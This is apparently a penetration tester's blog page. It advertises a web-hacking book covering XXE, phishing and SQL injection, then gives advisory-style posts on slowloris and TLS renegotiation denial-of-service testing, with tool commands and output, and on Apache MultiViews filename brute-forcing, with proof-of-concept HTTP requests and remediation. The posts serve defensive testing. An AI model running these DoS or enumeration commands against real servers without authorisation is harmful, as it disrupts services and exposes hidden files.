Hacker’s Elusive Thoughts The Web

Introduction

The reason for this blog post is to advertise my book. First of all I would like to thank all the readers of my blog for the support and feedback on making my articles better. After 12+ years in the penetration testing industry, the time has come for me to publish my book and tranfer my knowledge to all the intersted people that like hacking and want to learn as much as possible. Also at the end of the blog you will find a sample chapter.

About The Author

Gerasimos is a security consultant holding a MSc in Information Security, a CREST (CRT), a CISSP, an ITILv3, a GIAC GPEN and a GIAC GAWPT accreditation. Working alongside diverse and highly skilled teams Gerasi- mos has been involved in countless comprehensive security tests and web application secure development engagements for global web applications and network platforms, counting more than 14 years in the web application and application security architecture.

Gerasimos further progressing in his career has participated in vari- ous projects providing leadership and accountability for assigned IT security projects, security assurance activities, technical security reviews and assess- ments and conducted validations and technical security testing against pre- production systems as part of overall validations.

Where From You Can Buy The Book

This book can be bought from leanbup. Leanpub is a unique publishing platform that provides a way in the world to write, publish and sell in-progress and completed ebooks. Anyone can sign up for free and use Leanpub's writing and publishing tools to produce a book and put it up for sale in our bookstore with one click. Authors are paid a royalty of 90% minus 50 cents per transaction with no constraints: they own their work and can sell it elsewhere for any price.

Authors and publishers can also upload books they have created using their own preferred book production processes and then sell them in the Leanpub bookstore, taking advantage of our high royalty rates and our in-progress publishing features.

Please for more information about bying the book see link: https://leanpub.com/hackerselusivethoughtstheweb

Why I Wrote This Book

I wrote this book to share my knowledge with anyone that wants to learn about Web Application security, understand how to formalize a Web Appli- cation penetration test and build a Web Application penetration test team.

The main goal of the book is to: 

Brainstorm you with some interesting ideas and help you build a com- prehensive penetration testing framework, which you can easily use for your specific needs. Help you understand why you need to write your own tools. Gain a better understanding of some not so well documented attack techniques.

The main goal of the book is not to:

 
Provide you with a tool kit to perform Web Application penetration tests. Provide you with complex attacks that you will not be able to under- stand. Provide you with up to date information on latest attacks.

Who This Book Is For 

This book is written to help hacking enthusiasts to become better and stan- dardize their hacking methodologies and techniques so as to know clearly what to do and why when testing Web Applications. This book will also be very helpful to the following professionals:

1. Web Application developers.
2. Professional Penetration Testers.
3. Web Application Security Analysts.
4. Information Security professionals.
5. Hiring Application Security Managers.
6. Managing Information Security Consultants.

How This Book Is Organised  

Almost all chapters are written in such a way so as to not require you to read the chapters sequentially, in order to understand the concepts presented, although it is recommended to do so. The following section is going to give you an overview of the book:

Chapter 1: Formalising Web Application Penetration Tests -

This chapter is a gentle introduction to the world of penetration testing, and attempt to give a realistic view on the current landscape. More specifically it attempt to provide you information on how to compose a Pen- etration Testing team and make the team as ecient as possible and why writing tools and choosing the proper tools is important.

Chapter 2: Scanning With Class -

The second chapter focuses on helping you understand the dierence between automated and manual scanning from the tester’s perspective. It will show you how to write custom scanning tools with the use of Python. This part of the book also contains Python chunks of code demonstrating on how to write tools and design your own scanner.

Chapter 3: Payload Management -

This chapter focuses on explaining two things a) What is a Web payload from security perspective, b) Why is it important to obfuscated your payloads.

Chapter 4: Infiltrating Corporate Networks Using XXE -

This chapter focuses on explaining how to exploit and elevate an External Entity (XXE) Injection vulnerability. The main purpose of this chapter is not to show you how to exploit an XXE vulnerability, but to broaden your mind on how you can combine multiple vulnerabilities together to infiltrate your target using an XXE vulnerability as an example.

Chapter 5: Phishing Like A Boss -

This chapter focuses on explaining how to perform phishing attacks using social engineering and Web vulnerabilities. The main purpose of this chapter is to help you broaden your mind on how to combine multiple security issues, to perform phishing attacks.

Chapter 6: SQL Injection Fuzzing For Fun And Profit -

This chapter focuses on explaining how to perform and automate SQL injection attacks through obfuscation using Python. It also explains why SQL injection attacks happen and what is the risk of having them in your web applications.


Sample Chapter Download

From the following link you will be able to download a sample chapter from my book:

Sample Book Download

Symetric Denial of Service Testing - Aka 1 on 1

Intro

This post is going to explain how to test a Denial of Service Vulnerability without crashing the actual service. More specifically we will focus on two vulnerabilities a) the slowris vulnerability (also known as Apache Partial HTTP Request Denial of Service Vulnerability) and b) the TLS Renegotiation and Denial of Service Attacks.

Apache Partial HTTP Request Denial of Service Vulnerability

The target application Apache Server is vulnerable to a denial of service named Slow-DoS attack, due to holding a connection open for partial HTTP requests. Both Apache Versions 1.x and 2.x are vulnerable. Slow HTTP attacks are denial-of-service (DoS) attacks in which the attacker sends HTTP requests in pieces slowly, one at a time to a Web server. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. When the server’s concurrent connection pool reaches its maximum, this creates a DoS. Slow HTTP attacks are easy to execute because they require only minimal resources from the attacker.

Business Impact

A remote attacker can cause a denial of service against the Web server which would prevent legitimate users from accessing the site.

Remediation

There are no vendor-supplied patches available at this time.  Upgrade to the latest version.

Example

Slowloris tool output:

./slowloris.pl -dns xxx.xxx.xxx -port 80 -timeout 2000 -num 100 -tcpto 5

CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::

CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::

CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::

…[omitted]…

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Multithreading enabled.

Connecting to xxx.xxx.xxx:80 every 2000 seconds with 100 sockets:

                Building sockets.

                Building sockets.

                Sending data.

Current stats:  Slowloris has now sent 446 packets successfully.

This thread now sleeping for 2000 seconds...

                Sending data.

Current stats:  Slowloris has now sent 500 packets successfully.

This thread now sleeping for 2000 seconds...

Hping3 output

 hping3 -T -p 80  xxx.xxx.xxx

HPING xxx.xxx.xxx (eth1 xxx.xxx.xxx): NO FLAGS are set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=xxx.xxx.xx. name=xxx
hop=1 hoprtt=0.6 ms
...[omitted]...
--- 192.168.0.2 hping statistic ---
10 packets transmitted, 21 packets received, 0% packet loss

Explanation 

In this scenario we send a low bust of packages using Slowloris and then launched Hping3 in port 80 (the same port as Slowloris) and saw that because the Slowloris open too many connections start receiving more packages than send.

TLS Protocol Session Renegotiation Security Vulnerability

TLS protocol is prone to a security vulnerability that allows for man-in-the-middle attacks and Denial of Service attacks. This issue does not allow attackers to decrypt encrypted data. More specifically, the issue exists in a way applications handle the session renegotiation process and may allow attackers to inject arbitrary plaintext into the beginning of application protocol stream.

• In case of the HTTP protocol used with the vulnerable TLS implementation, this attack is carried out by intercepting 'Client Hello' requests and then forcing session renegotiation. An unauthorized attacker can then cause the webserver to process arbitrary requests that would otherwise require valid client side certificate for authorization. The attacker will not be able to gain direct access to the server response.
•  Denial of Service attack is also be feasible. This attack further exploits the SSL secure Renegotiation feature to trigger thousands of renegotiation via single TCP connection and crush the service.

Business Impact

An adversary can potentially exploit the vulnerability and cause compromise of the confidentiality and availability of the vulnerable service.

Remediation

Man In The Middle Attack:

• OpenSSL workaround- OpenSSL has provided a version (0.9.8l) that has a workaround. Please refer to OpenSSL Change Log (Changes between 0.9.8k and 0.9.8l Section).
•  Microsoft workaround - Enable SSLAlwaysNegoClientCert on IIS 6 and above: Web servers running IIS 6 and later that are affected because they require mutual authentication by requesting a client certificate, can be hardened by enabling the SSLAlwaysNegoClientCert setting. This will cause IIS to prompt the client for a certificate upon the initial connection, and does not require a server-initiated renegotiation.

 For Denial of Service Attack –  No real solutions exists. The following steps can mitigate (but not solve) the problem:

• Disable SSL-Renegotiation
• Install SSL Accelerator

Example

host:xxx.xxx.xxx

Handshakes 0 [0.00 h/s], 1 Conn, 0 Err

Handshakes 44 [43.48 h/s], 16 Conn, 0 Err

Handshakes 118 [71.32 h/s], 25 Conn, 0 Err

Handshakes 193 [76.69 h/s], 32 Conn, 0 Err

Handshakes 290 [99.53 h/s], 38 Conn, 0 Err

Handshakes 371 [79.16 h/s], 43 Conn, 0 Err

Handshakes 459 [89.97 h/s], 48 Conn, 0 Err

Handshakes 545 [87.55 h/s], 52 Conn, 0 Err

Handshakes 632 [84.57 h/s], 56 Conn, 0 Err

Handshakes 728 [96.96 h/s], 60 Conn, 0 Err

Handshakes 819 [91.05 h/s], 63 Conn, 0 Err

Handshakes 913 [95.76 h/s], 66 Conn, 0 Err

Handshakes 989 [76.02 h/s], 70 Conn, 0 Err

Handshakes 1086 [96.98 h/s], 73 Conn, 0 Err

Handshakes 1165 [78.37 h/s], 77 Conn, 0 Err

Handshakes 1264 [97.87 h/s], 81 Conn, 0 Err

…[omitted]…

Handshakes 3642 [89.20 h/s], 144 Conn, 0 Err

Handshakes 3738 [92.35 h/s], 146 Conn, 0 Err

Handshakes 3828 [92.36 h/s], 148 Conn, 0 Err

Handshakes 3919 [93.75 h/s], 149 Conn, 0 Err

Handshakes 4003 [83.73 h/s], 151 Conn, 0 Err

Handshakes 4099 [90.18 h/s], 153 Conn, 0 Err

Handshakes 4197 [105.10 h/s], 155 Conn, 0 Err

Handshakes 4288 [90.83 h/s], 157 Conn, 0 Err

Handshakes 4379 [88.02 h/s], 159 Conn, 0 Err

Handshakes 4468 [88.77 h/s], 160 Conn, 0 Err

Handshakes 4568 [95.30 h/s], 162 Conn, 0 Err

Handshakes 4649 [87.94 h/s], 164 Conn, 0 Err

Handshakes 4743 [89.97 h/s], 166 Conn, 0 Err

Handshakes 4844 [106.67 h/s], 167 Conn, 0 Err

Handshakes 4930 [81.71 h/s], 169 Conn, 0 Err

Hping3 output

 hping3 -T -p 443 xxx.xxx.xxx

HPING xxx.xxx.xxx (eth1 xxx.xxx.xxx): NO FLAGS are set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=xxx.xxx.xx. name=xxx
hop=1 hoprtt=0.6 ms
...[omitted]...
--- xxx.xxx.xxx hping statistic ---
10 packets transmitted, 15 packets received, 0% packet loss
Conclusion

Running point and click hacking tools for testing for Symmetric  DoS vulnerabilities should not be a taboo. If this is done then there zero doubt that this specific vulnerability can be exploited e.g. the sys admin can use stress test tools to record the performance of the server etc.  

References:

• https://www.thc.org/
• https://tools.ietf.org/html/rfc5746
• http://stackoverflow.com/questions/16909409/how-can-i-solve-the-qualys-apache-partial-http-request-denial-of-service-vulnera

Apache mod_negotiation or MultiViews filename bruteforcing

Filename Brute-forcing through MultiViews Vulnerability

This is a small post about a way to easily get backup files on Apache web servers with Multiviews option enabled. There is no much information in Multiviews (an Apache feature) and some Web Application scanners report this as Apache mod_negotiation filename brute-forcing rather than Multiviews option enabled. Apache HTTPD supports content negotiation as described in the HTTP/1.1 specification (see http://www.w3.org/Protocols/rfc2616/rfc2616.html). It can choose the best representation of a resource based on the browser-supplied preferences for media type, languages, character set and encoding. It also implements a couple of features to give more intelligent handling of requests from browsers that send incomplete negotiation information.

What are resources

A resource is a conceptual entity identified by a URI (RFC 2396). An HTTP server like Apache HTTP Server provides access to representations of the resource(s) within its namespace, with each representation in the form of a sequence of bytes with a defined media type, character set, encoding, etc. Each resource may be associated with zero, one, or more than one representation at any given time. If multiple representations are available, the resource is referred to as negotiable and each of its representations is termed a variant. The ways in which the variants for a negotiable resource vary are called the dimensions of negotiation.

Negotiation in httpd

In order to negotiate a resource, the server needs to be given information about each of the variants. This is done in one of two ways:

• Using a type map (i.e., a *.var file) which names the files containing the variants explicitly, or
• Using a 'MultiViews' search, where the server does an implicit filename pattern match and chooses from among the results.

Using MultiViews to brute-force files

MultiViews is a per-directory option, meaning it can be set with an Options directive within a <Directory>, <Location> or <Files> section in httpd.conf, or (if AllowOverride is properly set) in .htaccess files.

The effect of MultiViews is as follows: if the server receives a request for /some/dir/foo, if /some/dir has MultiViews enabled, and /some/dir/foo does not exist, then the server reads the directory looking for files named foo.*, and effectively fakes up a type map which names all those files, assigning them the same media types and content-encodings it would have if the client had asked for one of them by name. It then chooses the best match to the client's requirements.

MultiViews is an Apache option which acts with the following rules:

"if you request from the server a file e.g. /some/dir/foo and does not exist, then the server reads the directory looking for files named foo.*, and effectively fakes up a type map which names all those files, assigning them the same media types and content-encodings it would have if the client had asked for one of them by name. It then chooses the best match to the client's requirements."

Impact

An attacker can use this functionality to aid in finding hidden file processes on the directory and potentially gather further sensitive information through the mod_negotiation module. mod_negotiation is an Apache module responsible for selecting the document that best matches the clients capabilities, from one of several available documents. If the client provides an invalid Accept header, the server will respond with a 406 Not Acceptable error containing a pseudo directory listing. This behavior can help an attacker to learn more about his target, for example, generate a list of base names, generate a list of interesting extensions, and look for backup files and so on.

Proof Of Concept

Example 1:

Request:

GET /mymanual/de/glossarry.html HTTP/1.1 Host: xxx.xxx.xxx.xxx Accept: application/xxx; q=1.0 Negotiate:* User-Agent: xxx Connection: close Referer: http://xxx.xxx.xxx.xxx/test/se/ Cookie: LangID=2; PHPSESSID=xxxx

Response: HTTP/1.1 300 Multiple Choices Date: Tue, 16 Sep 2014 12:56:46 GMT Server: Apache/2.2.22 (Linux/SUSE) Alternates: {"glossary.html.de" 1 {type text/html} {charset iso-8859-1} {language de} {length 32714}}, {"glossary.html.en" 1 {type text/html} {charset iso-8859-1} {language en} {length 27855}}, {"glossary.html.es" 1 {type text/html} {charset iso-8859-1} {language es} {length 23586}}, {"glossary.html.fr" 1 {type text/html} {charset iso-8859-1} {language fr} {length 30561}}, {"glossary.html.ja.utf8" 1 {type text/html} {charset utf-8} {language ja} {length 30880}}, {"glossary.html.ko.euc-kr" 1 {type text/html} {charset euc-kr} {language ko} {length 19474}}, {"glossary.html.tr.utf8" 1 {type text/html} {charset utf-8} {language tr} {length 30911}} Vary: negotiate,accept-language,accept-charset TCN: list Content-Length: 1039 Connection: close Content-Type: text/html; charset=iso-8859-1 …[omitted]…

Note: In the first example we request for a specific file, the glossary.html and get the response displayed above.

Example 2:



Request:

GET /ba* HTTP/1.1
Host:xxx
Accept: application/whatever; q=1.0
Accept-charset: iso-8859-9
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0
Connection: close
Referer: http://xxx.xxx.xxx.xxx/manual/de/
Cookie: LangID=2; PHPSESSID=xxxx

Response: HTTP/1.1 404 Not Found Date: Tue, 16 Sep 2014 13:33:18 GMT Server: Apache/2.2.22 (Linux/SUSE) Alternates: {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-2} {language cs} {length 745}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language de} {length 766}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language en} {length 611}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {language es} {length 699}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language fr} {length 789}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language ga} {length 813}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language it} {length 692}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-2022-jp} {language ja} {length 749}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset euc-kr} {language ko} {length 703}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language nl} {length 688}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-2} {language pl} {length 707}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language pt-br} {length 753}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language pt} {length 272}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language ro} {length 689}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-5} {language sr} {length 716}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language sv} {length 722}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-9} {language tr} {length 755}} Vary: accept-language,accept-charset Content-Length: 409 Connection: close Content-Type: text/html; charset=iso-8859-1 …[omitted]…

Note: In this example we request a file name using wild card characters e.g. *. More specifically .

Remediation 

Disable the MultiViews directive from Apache's configuration file and restart Apache. You can disable MultiViews by creating a .htaccess file containing the following line:

Options -Multiviews

References:

1. http://www.wisec.it/sectou.php?id=4698ebdc59d15
2. http://www.acunetix.com/vulnerabilities/apache-mod_negotiation-fi/
3. http://www.securityfocus.com/bid/3009